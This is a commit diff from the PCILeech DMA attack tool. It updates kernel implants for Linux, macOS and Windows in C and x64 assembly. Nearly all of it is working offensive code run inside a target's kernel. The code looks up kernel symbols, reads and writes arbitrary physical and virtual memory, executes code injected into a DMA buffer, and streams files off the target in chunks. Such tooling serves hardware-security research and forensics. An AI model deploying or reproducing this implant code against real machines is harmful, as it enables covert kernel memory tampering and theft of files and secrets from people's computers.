Version 1.3

This commit is contained in:
ufrisk
2016-12-15 09:22:23 +01:00
parent 8766a2119d
commit 3aeb551795
46 changed files with 1837 additions and 852 deletions

View File

@@ -4,5 +4,39 @@
// (c) Ulf Frisk, 2016
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "lx64_common.h"
BOOL _WriteLargeOutput_WaitForAck(PKMDDATA pk)
{
PEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
while((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {
SysVCall((QWORD)pk->fn[0] /* msleep */, 25);
}
return (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;
}
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk)
{
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
pos->magic = EXEC_IO_MAGIC;
CacheFlush();
pos->bin.seq++;
pk->_op = KMD_CMD_EXEC_EXTENDED;
return _WriteLargeOutput_WaitForAck(pk);
}
VOID WriteLargeOutput_Finish(PKMDDATA pk)
{
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
WriteLargeOutput_WaitNext(pk);
pk->dataOutExtraLength = 0;
CacheFlush();
pos->bin.fCompleted = TRUE;
pos->bin.seq++;
_WriteLargeOutput_WaitForAck(pk);
pk->_op = KMD_CMD_EXEC;
}
#include "lx64_common.h"

View File

@@ -27,6 +27,7 @@ extern QWORD SysVCall(QWORD fn, ...);
extern BOOL LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD pqwNameTable, QWORD pqwFnTable, QWORD cFunctions);
extern QWORD m_phys_to_virt(QWORD p1);
extern QWORD m_page_to_phys(QWORD p1);
extern VOID CacheFlush();
/*
* KMD DATA struct. This struct must be contained in a 4096 byte section (page)
@@ -67,4 +68,42 @@ typedef struct tdKMDDATA {
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
#define EXEC_IO_MAGIC 0x12651232dfef9521
#define EXEC_IO_CONSOLE_BUFFER_SIZE 0x800
#define EXEC_IO_DMAOFFSET_IS 0x80000
#define EXEC_IO_DMAOFFSET_OS 0x81000
typedef struct tdEXEC_IO {
QWORD magic;
struct {
QWORD cbRead;
QWORD cbReadAck;
QWORD Reserved[10];
BYTE pb[800];
} con;
struct {
QWORD seq;
QWORD seqAck;
QWORD fCompleted;
QWORD fCompletedAck;
} bin;
QWORD Reserved[395];
} EXEC_IO, *PEXEC_IO;
/*
* If a large output is to be written to PCILeech which won't fit in the DMA
* buffer - write as much as possible in the DMA buffer and then call this fn.
* When returned successfully write another chunk to this buffer and call again.
* WriteLargeOutput_Finish must be called after all data is written to clean up.
* -- pk
* -- return
*/
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk);
/*
* Clean up function that must be called if WriteLargeOutput_WaitNext has
* previously been called.
* -- pk
*/
VOID WriteLargeOutput_Finish(PKMDDATA pk);
#endif /* __LX64_COMMON_H__ */

View File

@@ -133,4 +133,12 @@ m_page_to_phys PROC
RET
m_page_to_phys ENDP
; ----------------------------------------------------
; Flush the CPU cache.
; ----------------------------------------------------
CacheFlush PROC
WBINVD
RET
CacheFlush ENDP
END

View File

@@ -39,6 +39,7 @@ VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
QWORD hFile, qwOffset = 0;
BOOL isModeLargeTransfer = FALSE;
if(!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
@@ -49,10 +50,21 @@ VOID c_EntryPoint(PKMDDATA pk)
pk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN;
return;
}
pk->dataOutExtraLength = SysVCall(fn2.vfs_read, hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &qwOffset);
if(pk->dataOutExtraLength >= pk->dataOutExtraLengthMax) {
pk->dataOut[0] = STATUS_FAIL_FILE_SIZE;
pk->dataOutExtraLength = 0;
while(TRUE) {
pk->dataOutExtraLength = SysVCall(fn2.vfs_read, hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &qwOffset);
if(pk->dataOutExtraLength < pk->dataOutExtraLengthMax) {
break;
}
isModeLargeTransfer = TRUE;
if(!WriteLargeOutput_WaitNext(pk)) {
pk->dataOutExtraLength = 0;
pk->dataOut[0] = STATUS_FAIL_PCILEECH_CORE;
SysVCall(fn2.filp_close, hFile, NULL);
return;
}
}
if(isModeLargeTransfer) {
WriteLargeOutput_Finish(pk);
}
SysVCall(fn2.filp_close, hFile, NULL);
}

View File

@@ -186,8 +186,27 @@ setup PROC
RET
setup ENDP
m_phys_to_virt PROC
; ------------------------------------------------------------------
; Retrieve the PAGE_OFFSET_BASE
; r14 -> kallsyms_lookup_name
; rax <- value of PAGE_OFFSET_BASE
; ------------------------------------------------------------------
m_page_offset_base PROC
LEA rdi, str_page_offset_base
CALL r14
TEST rax, rax
JZ kaslr_pg_disable
MOV rax, [rax]
RET
kaslr_pg_disable:
MOV rax, 0ffff880000000000h
RET
m_page_offset_base ENDP
m_phys_to_virt PROC
PUSH rdi
CALL m_page_offset_base
POP rdi
ADD rax, rdi
RET
m_phys_to_virt ENDP
@@ -208,10 +227,9 @@ m_page_to_phys ENDP
; ----------------------------------------------------
clear_8k PROC
XOR rax, rax
MOV rcx, 1024
loop_8k:
MOV [rdi+8*rcx-8], rax
LOOP loop_8k
MOV ecx, 1024
CLD
REP STOSQ [rdi]
RET
clear_8k ENDP
@@ -242,6 +260,7 @@ str_kthread_create_on_node db 'kthread_create_on_node', 0
str_alloc_pages_current db 'alloc_pages_current', 0
str_set_memory_x db 'set_memory_x', 0
str_wake_up_process db 'wake_up_process', 0
str_page_offset_base db 'page_offset_base', 0
str_pcileech db 'pcileech', 0
END

View File

@@ -60,12 +60,10 @@ LookupFunctions PROC
PUSH r13
MOV r15, rcx ; address of kallsyms_lookup_name
MOV r14, rdx ; ptr to FNLX struct
MOV r13, 9*8 ; num functions * 8
MOV r13, 10*8 ; num functions * 8
; ----------------------------------------------------
; 1: PUSH FUNCTION NAME POINTERS ON STACK
; ----------------------------------------------------
LEA rax, str_kallsyms_lookup_name
PUSH rax
LEA rax, str_msleep
PUSH rax
LEA rax, str_alloc_pages_current
@@ -80,7 +78,11 @@ LookupFunctions PROC
PUSH rax
LEA rax, str_do_gettimeofday
PUSH rax
LEA rax, str_iomem_open
LEA rax, str_walk_system_ram_range
PUSH rax
LEA rax, str_iounmap
PUSH rax
LEA rax, str_ioremap_nocache
PUSH rax
; ----------------------------------------------------
; 2: LOOKUP FUNCTION POINTERS BY NAME
@@ -108,14 +110,16 @@ LookupFunctions PROC
RET
LookupFunctions ENDP
str_kallsyms_lookup_name db 'kallsyms_lookup_name', 0
str_alloc_pages_current db 'alloc_pages_current', 0
str_set_memory_x db 'set_memory_x', 0
str__free_pages db '__free_pages', 0
str_memcpy db 'memcpy', 0
str_schedule db 'schedule', 0
str_do_gettimeofday db 'do_gettimeofday', 0
str_iomem_open db 'iomem_open', 0
str_page_offset_base db 'page_offset_base', 0
str_walk_system_ram_range db 'walk_system_ram_range', 0
str_iounmap db 'iounmap', 0
str_ioremap_nocache db 'ioremap_nocache', 0
; ------------------------------------------------------------------
; Convert from the Windows X64 calling convention to the SystemV
@@ -149,13 +153,43 @@ SysVCall PROC
RET
SysVCall ENDP
; ------------------------------------------------------------------
; Retrieve the PAGE_OFFSET_BASE
; Function uses Linux calling convention.
; rdi -> addr of kallsysms_lookup_name
; rax <- value of PAGE_OFFSET_BASE
; ------------------------------------------------------------------
m_page_offset_base PROC
MOV rax, rdi
LEA rdi, str_page_offset_base
CALL rax
TEST rax, rax
JZ kaslr_pg_disable
MOV rax, [rax]
RET
kaslr_pg_disable:
MOV rax, 0ffff880000000000h
RET
m_page_offset_base ENDP
; ------------------------------------------------------------------
; Convert a physical address to a virtual address (Linux)
; Function uses Windows calling convention (rcx = 1st param)
; rcx -> addr of kallsysms_lookup_name
; rdx -> physical_address
; rax <- virtual_address
; ------------------------------------------------------------------
m_phys_to_virt PROC
MOV rax, 0ffff880000000000h
ADD rax, rcx
PUSH rdi
PUSH rsi
PUSH r15
MOV rdi, rcx
MOV r15, rdx
CALL m_page_offset_base
ADD rax, r15
POP r15
POP rsi
POP rdi
RET
m_phys_to_virt ENDP
@@ -172,4 +206,60 @@ m_page_to_phys PROC
RET
m_page_to_phys ENDP
; ------------------------------------------------------------------
; Receives callback from walk_system_ram_range for each range.
; rdi -> pfn_start
; rsi -> pfn_size
; rdx -> PKMDDATA
; rax <- 0
; ------------------------------------------------------------------
callback_walk_system_ram_range PROC
SHL rdi, 12 ; convert to bytes
SHL rsi, 12 ; convert to bytes
MOV rax, [rdx + 028h] ; PKMDDATA->DMAAddrVirtual
MOV rcx, [rdx + 048h] ; PKMDDATA->_size
ADD rax, rcx
MOV [rax], rdi
MOV [rax+8], rsi
ADD rcx, 10h
MOV [rdx + 048h], rcx ; PKMDDATA->_size
XOR rax, rax
RET
callback_walk_system_ram_range ENDP
; ------------------------------------------------------------------
; Receives callback from walk_system_ram_range before a memcpy is
; attempted. Validate if whole range is within range
; rdi -> pfn_start (mem_range)
; rsi -> pfn_size (mem_range)
; rdx -> PKMDDATA
; rax <- 0 (if all in range), 1 (out of range)
; ------------------------------------------------------------------
callback_ismemread_inrange PROC
SHL rdi, 12 ; convert to bytes (mem_range_base)
SHL rsi, 12 ; convert to bytes (mem_range_size)
MOV r8, [rdx + 040h] ; PKMDDATA->_address (req_base)
MOV r9, [rdx + 048h] ; PKMDDATA->_size (req_size)
ADD rsi, rdi ; range (mem_range_top)
ADD r9, r8 ; read (req_top)
CMP r8, rdi ; req_base < mem_range_base -> out of range
JL out_of_range
CMP r9, rsi
JG out_of_range ; req_top > mem_range_top -> out of range
XOR rax, rax
RET
out_of_range:
XOR rax, rax
INC rax
RET
callback_ismemread_inrange ENDP
; ----------------------------------------------------
; Flush the CPU cache.
; ----------------------------------------------------
CacheFlush PROC
WBINVD
RET
CacheFlush ENDP
END

View File

@@ -19,8 +19,11 @@ typedef void *HANDLE;
extern QWORD SysVCall(QWORD fn, ...);
extern QWORD LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD qwAddr_FNLX);
extern QWORD m_phys_to_virt(QWORD p1);
extern QWORD m_phys_to_virt(QWORD qwAddr_KallsymsLookupName, QWORD pa);
extern QWORD m_page_to_phys(QWORD p1);
extern VOID callback_walk_system_ram_range();
extern VOID callback_ismemread_inrange();
extern VOID CacheFlush();
typedef struct _PHYSICAL_MEMORY_RANGE {
QWORD BaseAddress;
@@ -32,16 +35,7 @@ typedef struct _TIMEVAL {
QWORD tv_usec;
} TIMEVAL, *PTIMEVAL;
typedef struct _RESOURCE {
QWORD start;
QWORD end;
const char *name;
QWORD flags;
QWORD parent, sibling, child;
} RESOURCE, *PRESOURCE;
typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program)
QWORD kallsyms_lookup_name;
QWORD msleep;
QWORD alloc_pages_current;
QWORD set_memory_x;
@@ -49,8 +43,10 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co
QWORD memcpy;
QWORD schedule;
QWORD do_gettimeofday;
QWORD iomem_open;
QWORD ReservedFutureUse[23];
QWORD walk_system_ram_range;
QWORD iounmap;
QWORD ioremap_nocache;
QWORD ReservedFutureUse[22];
} FNLX, *PFNLX;
#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02
@@ -104,49 +100,6 @@ typedef struct tdKMDDATA {
#define KMD_CMD_READ_VA 6
#define KMD_CMD_WRITE_VA 7
/*
* Retrieve system memory ranges from the iomem_resource structure.
*/
BOOL SetMemoryRanges(PKMDDATA pk)
{
PPHYSICAL_MEMORY_RANGE pmr;
PRESOURCE r;
QWORD i = 0;
// 0: find iomem_resource structure by pattern search of function binary
while(*(PDWORD)(pk->fn.iomem_open + i) != 0x8082c748) {
if(++i > 0x40) {
return FALSE;
}
}
r = (PRESOURCE)(0xffffffff00000000 + *(PDWORD)(pk->fn.iomem_open + i + 7));
// 1: move to child and set up info
if(!r->child) {
return FALSE;
}
r = (PRESOURCE)r->child;
pmr = (PPHYSICAL_MEMORY_RANGE)pk->DMAAddrVirtual;
i = 0;
while(r) {
if(*(PQWORD)r->name == 0x52206d6574737953) { // 0x52206d6574737953 == "System R" [first 8 chars of "System RAM"
// found!
if(i && (r->start == pmr[i - 1].BaseAddress + pmr[i - 1].NumberOfBytes)) {
// merge
i--;
pmr[i].NumberOfBytes += r->end + 1 - r->start;
} else {
// new
pmr[i].BaseAddress = r->start;
pmr[i].NumberOfBytes = r->end + 1 - r->start;
}
pmr[i].NumberOfBytes &= ~0xfff;
i++;
}
r = (PRESOURCE)r->sibling;
}
pk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE);
return TRUE;
}
// status:
// 1: ready for command
// 2: processing
@@ -162,7 +115,7 @@ BOOL SetMemoryRanges(PKMDDATA pk)
// size of memory operation
VOID stage3_c_EntryPoint(PKMDDATA pk)
{
QWORD pStructPages, qwBufferOutDMA, qwMM;
QWORD pStructPages, qwMM, qw;
TIMEVAL timeLast, timeCurrent;
// 0: set up symbols and kmd data
pk->MAGIC = 0x0ff11337711333377;
@@ -178,9 +131,9 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
return;
}
pk->DMAAddrPhysical = m_page_to_phys(pStructPages);
pk->DMAAddrVirtual = qwBufferOutDMA = m_phys_to_virt(pk->DMAAddrPhysical);
pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical);
pk->DMASizeBuffer = 0x400000;
SysVCall(pk->fn.set_memory_x, qwBufferOutDMA, 1024);
SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, 1024);
// 2: main dump loop
SysVCall(pk->fn.do_gettimeofday, &timeLast);
while(TRUE) {
@@ -205,26 +158,48 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
return;
}
if(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)
pk->_result = SetMemoryRanges(pk);
if(pk->fn.walk_system_ram_range) {
pk->_size = 0;
pk->_result = (0 == SysVCall(pk->fn.walk_system_ram_range, 0, ~0UL, pk, callback_walk_system_ram_range));
} else {
pk->_result = FALSE;
}
CacheFlush();
}
if(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer
((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))qwBufferOutDMA)(pk, pk->dataIn, pk->dataOut);
((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut);
pk->_result = TRUE;
}
if(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE
qwMM = m_phys_to_virt(pk->_address);
if(KMD_CMD_READ == pk->_op) { // READ
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, qwMM, pk->_size);
} else { // WRITE
SysVCall(pk->fn.memcpy, qwMM, pk->DMAAddrVirtual, pk->_size);
// qw :: 0 [all in range], 1 [some in range], 0xffffffff [none in range]
qw = SysVCall(pk->fn.walk_system_ram_range, pk->_address >> 12, pk->_size >> 12, pk, callback_ismemread_inrange);
if(qw == 1) {
pk->_result = FALSE;
} else {
qwMM = (qw == 0) ?
m_phys_to_virt(pk->AddrKallsymsLookupName, pk->_address) :
SysVCall(pk->fn.ioremap_nocache, pk->_address, pk->_size);
if(qwMM) {
if(KMD_CMD_READ == pk->_op) { // READ
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, qwMM, pk->_size);
} else { // WRITE
SysVCall(pk->fn.memcpy, qwMM, pk->DMAAddrVirtual, pk->_size);
}
if(qw) {
SysVCall(pk->fn.iounmap, qwMM);
}
pk->_result = TRUE;
} else {
pk->_result = FALSE;
}
}
}
if(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address
SysVCall(pk->fn.memcpy, qwBufferOutDMA, pk->_address, pk->_size);
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, pk->_address, pk->_size);
pk->_result = TRUE;
}
if(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address
SysVCall(pk->fn.memcpy, pk->_address, qwBufferOutDMA, pk->_size);
SysVCall(pk->fn.memcpy, pk->_address, pk->DMAAddrVirtual, pk->_size);
pk->_result = TRUE;
}
pk->_op = KMD_CMD_COMPLETED;

View File

@@ -112,4 +112,37 @@ QWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges)
PPHYSICAL_MEMORY_RANGE pMemMap = (PPHYSICAL_MEMORY_RANGE)pbMemoryRanges;
QWORD cMemMap = cbMemoryRanges / sizeof(PHYSICAL_MEMORY_RANGE);
return pMemMap[cMemMap - 1].BaseAddress + pMemMap[cMemMap - 1].NumberOfBytes;
}
}
BOOL _WriteLargeOutput_WaitForAck(PKMDDATA pk)
{
PEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
while((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {
SysVCall(pk->fn.IOSleep, 25);
}
return (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;
}
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk)
{
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
pos->magic = EXEC_IO_MAGIC;
CacheFlush();
pos->bin.seq++;
pk->_op = KMD_CMD_EXEC_EXTENDED;
return _WriteLargeOutput_WaitForAck(pk);
}
VOID WriteLargeOutput_Finish(PKMDDATA pk)
{
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
WriteLargeOutput_WaitNext(pk);
pk->dataOutExtraLength = 0;
CacheFlush();
pos->bin.fCompleted = TRUE;
pos->bin.seq++;
_WriteLargeOutput_WaitForAck(pk);
pk->_op = KMD_CMD_EXEC;
}

View File

@@ -30,6 +30,7 @@ extern QWORD SysVCall(QWORD fn, ...);
extern QWORD LookupFunctionMacOS(QWORD qwAddrKernelBase, CHAR szFunctionName[]);
extern VOID PageFlush();
extern QWORD GetCR3();
extern VOID CacheFlush();
//-------------------------------------------------------------------------------
// General definitions below.
@@ -97,6 +98,27 @@ typedef struct tdKMDDATA {
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
#define EXEC_IO_MAGIC 0x12651232dfef9521
#define EXEC_IO_CONSOLE_BUFFER_SIZE 0x800
#define EXEC_IO_DMAOFFSET_IS 0x80000
#define EXEC_IO_DMAOFFSET_OS 0x81000
typedef struct tdEXEC_IO {
QWORD magic;
struct {
QWORD cbRead;
QWORD cbReadAck;
QWORD Reserved[10];
BYTE pb[800];
} con;
struct {
QWORD seq;
QWORD seqAck;
QWORD fCompleted;
QWORD fCompletedAck;
} bin;
QWORD Reserved[395];
} EXEC_IO, *PEXEC_IO;
//-------------------------------------------------------------------------------
// Function definitions below.
//-------------------------------------------------------------------------------
@@ -140,4 +162,21 @@ QWORD MapMemoryPhysical(PKMDDATA pk, QWORD qwMemoryBase);
*/
QWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges);
/*
* If a large output is to be written to PCILeech which won't fit in the DMA
* buffer - write as much as possible in the DMA buffer and then call this fn.
* When returned successfully write another chunk to this buffer and call again.
* WriteLargeOutput_Finish must be called after all data is written to clean up.
* -- pk
* -- return
*/
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk);
/*
* Clean up function that must be called if WriteLargeOutput_WaitNext has
* previously been called.
* -- pk
*/
VOID WriteLargeOutput_Finish(PKMDDATA pk);
#endif /* __MACOS_COMMON_H__ */

View File

@@ -231,4 +231,12 @@ SysVCall PROC
RET
SysVCall ENDP
; ----------------------------------------------------
; Flush the CPU cache.
; ----------------------------------------------------
CacheFlush PROC
WBINVD
RET
CacheFlush ENDP
END

View File

@@ -46,7 +46,8 @@ VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
DWORD status = 0;
QWORD uio = 0, vnode = 0, vfs_current;
BOOL isModeLargeTransfer = FALSE;
QWORD uio = 0, vnode = 0, vfs_current, cbOffset = 0;
if(!pk->dataInStr[0]) {
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
return;
@@ -61,19 +62,32 @@ VOID c_EntryPoint(PKMDDATA pk)
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 0 /* read */);
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
while(TRUE) {
uio = SysVCall(fn2.uio_create, 1 /* count iov */, cbOffset /* offset */, 2 /* kernel addr */, 0 /* read */);
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio);
if(uio) {
SysVCall(fn2.uio_free, uio);
uio = 0;
}
if(pk->dataOutExtraLength != pk->dataOutExtraLengthMax) { break; }
isModeLargeTransfer = TRUE;
cbOffset += pk->dataOutExtraLength;
if(!WriteLargeOutput_WaitNext(pk)) {
pk->dataOutExtraLength = 0;
status = STATUS_FAIL_PCILEECH_CORE;
goto error;
}
}
if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) {
status = STATUS_FAIL_FILE_CANNOT_OPEN;
goto error;
}
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio);
if(pk->dataOutExtraLength == pk->dataOutExtraLengthMax) {
status = STATUS_FAIL_FILE_SIZE;
goto error;
if(isModeLargeTransfer) {
WriteLargeOutput_Finish(pk);
}
error:
if(uio) {

View File

@@ -15,5 +15,17 @@
#define STATUS_FAIL_OUTOFMEMORY 0xf0000007
#define STATUS_FAIL_MEMORYMAP_NOT_FOUND 0xf0000008
#define STATUS_FAIL_FILE_READWRITE 0xf0000009
#define STATUS_FAIL_PCILEECH_CORE 0xf000000a
#define KMD_CMD_VOID 0xffff
#define KMD_CMD_COMPLETED 0
#define KMD_CMD_READ 1
#define KMD_CMD_WRITE 2
#define KMD_CMD_TERMINATE 3
#define KMD_CMD_MEM_INFO 4
#define KMD_CMD_EXEC 5
#define KMD_CMD_READ_VA 6
#define KMD_CMD_WRITE_VA 7
#define KMD_CMD_EXEC_EXTENDED 8
#endif /* __STATUSCODES_H__ */

View File

@@ -116,3 +116,35 @@ VOID CommonSleep(_In_ PKERNEL_FUNCTIONS fnk, _In_ DWORD ms)
LONGLONG llTimeToWait = -10000LL * ms;
fnk->KeDelayExecutionThread(KernelMode, FALSE, &llTimeToWait);
}
BOOL _WriteLargeOutput_WaitForAck(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)
{
PEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
while((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {
CommonSleep(fnk, 25);
}
return (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;
}
BOOL WriteLargeOutput_WaitNext(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)
{
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
pos->magic = EXEC_IO_MAGIC;
CacheFlush();
pos->bin.seq++;
pk->_op = KMD_CMD_EXEC_EXTENDED;
return _WriteLargeOutput_WaitForAck(fnk, pk);
}
VOID WriteLargeOutput_Finish(_In_ PKERNEL_FUNCTIONS fnk, _In_ PKMDDATA pk)
{
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
WriteLargeOutput_WaitNext(fnk, pk);
pk->dataOutExtraLength = 0;
CacheFlush();
pos->bin.fCompleted = TRUE;
pos->bin.seq++;
_WriteLargeOutput_WaitForAck(fnk, pk);
pk->_op = KMD_CMD_EXEC;
}

View File

@@ -7,6 +7,7 @@
#ifndef __WX64_COMMON_H__
#define __WX64_COMMON_H__
#include <windows.h>
#include "statuscodes.h"
#pragma warning( disable : 4047 4055 4127 4200 4201 4204)
@@ -63,20 +64,26 @@ typedef struct tdKMDDATA {
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
} KMDDATA, *PKMDDATA;
// KMDDATA_OUTSTATUS_VOID - Normal status - take no special action.
#define KMDDATA_OUTSTATUS_VOID 0
// KMDDATA_OUTSTATUS_KBD_IO - Keyboard interactive IO.
// dataOut[8] = input buffer physical address
// dataOut[9] = output buffer physical address
#define KMDDATA_OUTSTATUS_KBD_IO 1
// used together with KMDDATA_OUTSTATUS_KBD_IO out status
typedef struct tdKMDBUFFERIO {
DWORD qwSeqNo;
DWORD qwSeqNoAck;
DWORD cb;
BYTE pb[];
} KMD_BUFFER_IO, *PKMD_BUFFER_IO;
#define EXEC_IO_MAGIC 0x12651232dfef9521
#define EXEC_IO_CONSOLE_BUFFER_SIZE 0x800
#define EXEC_IO_DMAOFFSET_IS 0x80000
#define EXEC_IO_DMAOFFSET_OS 0x81000
typedef struct tdEXEC_IO {
QWORD magic;
struct {
QWORD cbRead;
QWORD cbReadAck;
QWORD Reserved[10];
BYTE pb[800];
} con;
struct {
QWORD seq;
QWORD seqAck;
QWORD fCompleted;
QWORD fCompletedAck;
} bin;
QWORD Reserved[395];
} EXEC_IO, *PEXEC_IO;
// system information class 11
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
@@ -269,7 +276,7 @@ typedef struct tdKERNEL_FUNCTIONS {
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_Out_ PVOID Buffer,
_In_ ULONG Length,
_In_opt_ PLARGE_INTEGER ByteOffset,
_In_opt_ PQWORD ByteOffset,
_In_opt_ PULONG Key
);
NTSTATUS(*ZwSetSystemInformation)(
@@ -353,5 +360,25 @@ VOID InitializeKernelFunctions(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS fn
DWORD PEGetImageSize(_In_ QWORD hModule);
VOID CommonSleep(_In_ PKERNEL_FUNCTIONS fnk, _In_ DWORD ms);
extern QWORD GetCR3();
extern VOID CacheFlush();
/*
* If a large output is to be written to PCILeech which won't fit in the DMA
* buffer - write as much as possible in the DMA buffer and then call this fn.
* When returned successfully write another chunk to this buffer and call again.
* WriteLargeOutput_Finish must be called after all data is written to clean up.
* -- fnk
* -- pk
* -- return
*/
BOOL WriteLargeOutput_WaitNext(_In_ PKERNEL_FUNCTIONS fnk, PKMDDATA pk);
/*
* Clean up function that must be called if WriteLargeOutput_WaitNext has
* previously been called.
* -- fnk
* -- pk
*/
VOID WriteLargeOutput_Finish(_In_ PKERNEL_FUNCTIONS fnk, PKMDDATA pk);
#endif /* __WX64_COMMON_H__ */

View File

@@ -32,4 +32,12 @@ GetCR3 PROC
RET
GetCR3 ENDP
; ----------------------------------------------------
; Flush the CPU cache.
; ----------------------------------------------------
CacheFlush PROC
WBINVD
RET
CacheFlush ENDP
END

View File

@@ -29,6 +29,7 @@ VOID c_EntryPoint(_In_ PKMDDATA pk)
UNICODE_STRING _su;
KERNEL_FUNCTIONS ofnk;
PKERNEL_FUNCTIONS fnk;
BOOL isModeLargeTransfer = FALSE;
if(!pk->dataInStr[0]) {
pk->dataOut[0] = (QWORD)STATUS_UNSUCCESSFUL;
return;
@@ -57,13 +58,18 @@ VOID c_EntryPoint(_In_ PKMDDATA pk)
pk->dataOut[0] = nt;
goto cleanup;
}
nt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pk->dataOutExtraLengthMax, 0, 0);
do {
nt = fnk->ZwReadFile(hFile, NULL, NULL, NULL, &_io, (PVOID)(pk->DMAAddrVirtual + pk->dataOutExtraOffset), (ULONG)pk->dataOutExtraLengthMax, NULL, 0);
if(NT_ERROR(nt)) { break; }
pk->dataOutExtraLength = (QWORD)_io.Information;
if(pk->dataOutExtraLength != pk->dataOutExtraLengthMax) { break; }
isModeLargeTransfer = TRUE;
} while(WriteLargeOutput_WaitNext(fnk, pk));
fnk->ZwClose(hFile);
if(0 != nt) {
pk->dataOut[0] = nt;
goto cleanup;
